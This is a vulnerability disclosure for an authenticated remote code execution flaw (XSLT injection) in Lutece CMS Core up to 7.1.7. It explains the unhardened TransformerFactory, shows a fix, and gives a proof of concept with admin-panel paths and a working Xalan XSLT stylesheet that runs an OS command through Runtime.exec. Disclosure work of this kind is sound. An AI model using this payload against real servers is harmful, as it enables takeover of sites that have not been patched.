(Critical) Authenticated RCE via XSLT injection in Lutece Core <= 7.1.7
CVE-2026-4813 (CVSS-B 9.4 CRITICAL)
I started looking into Lutece CMS as it is used and developed by the City of Paris which makes it an interesting target. After hours of setting up the lab (it was really challenging I swear) I finally managed to test the vulnerability I found via static analysis. The XML/XSLT parser does not block Java extensions via FEATURE_SECURE_PROCESSING which allows an authenticated attacker to add a stylesheet capable of executing malicious Java code.
MITRE link here.
Changelog from Lutece here.
Details
Admins can upload XSLT stylesheets via StyleSheetJspBean. XmlTransformer.java initializes TransformerFactory without enabling XMLConstants.FEATURE_SECURE_PROCESSING
Vulnerable code (src/java/fr/paris/lutece/util/xml/XmlTransformer.java:111):
try {
result = TransformerFactory.newInstance( ).newTemplates( stylesheet );
AppLogService.debug( " -- XML Templates instantiation : strStyleSheetId= {}", strStyleSheetId );
}
As you can see, the TransformerFactory is instantiated without hardening. A basic example of how we could implement FEATURE_SECURE_PROCESSING :
try {
TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
result = factory.newTemplates(stylesheet);
AppLogService.debug( " -- XML Templates instantiation : strStyleSheetId= {}", strStyleSheetId );
}
PoC

You need an account with admin privileges.
-
On the admin panel, navigate to the XSL export management page :
/jsp/admin/AdminTechnicalMenu.jsp?tab=xslexportManagement#xslexport -
Click on "Add a new transformation sheet".
-
Upload an
.xslfile with the payload (simpleidcommand) :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">
<xsl:template match="/">
<xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
<xsl:variable name="inputStream" select="proc:getInputStream($process)"/>
<xsl:variable name="reader" select="is:new($inputStream)"/>
<xsl:variable name="buffereReader" select="br:new($reader)"/>
<xsl:variable name="resultat" select="br:readLine($buffereReader)"/>
<Output>
<xsl:value-of select="$resultat"/>
</Output>
</xsl:template>
</xsl:stylesheet>
-
Save the new XSL sheet.
-
Navigate to the export users page :
/jsp/admin/user/ExportUsers.jsp -
Select the transformation sheet that we just created and validate.
-
The result of the
idcommand should be in the exported file.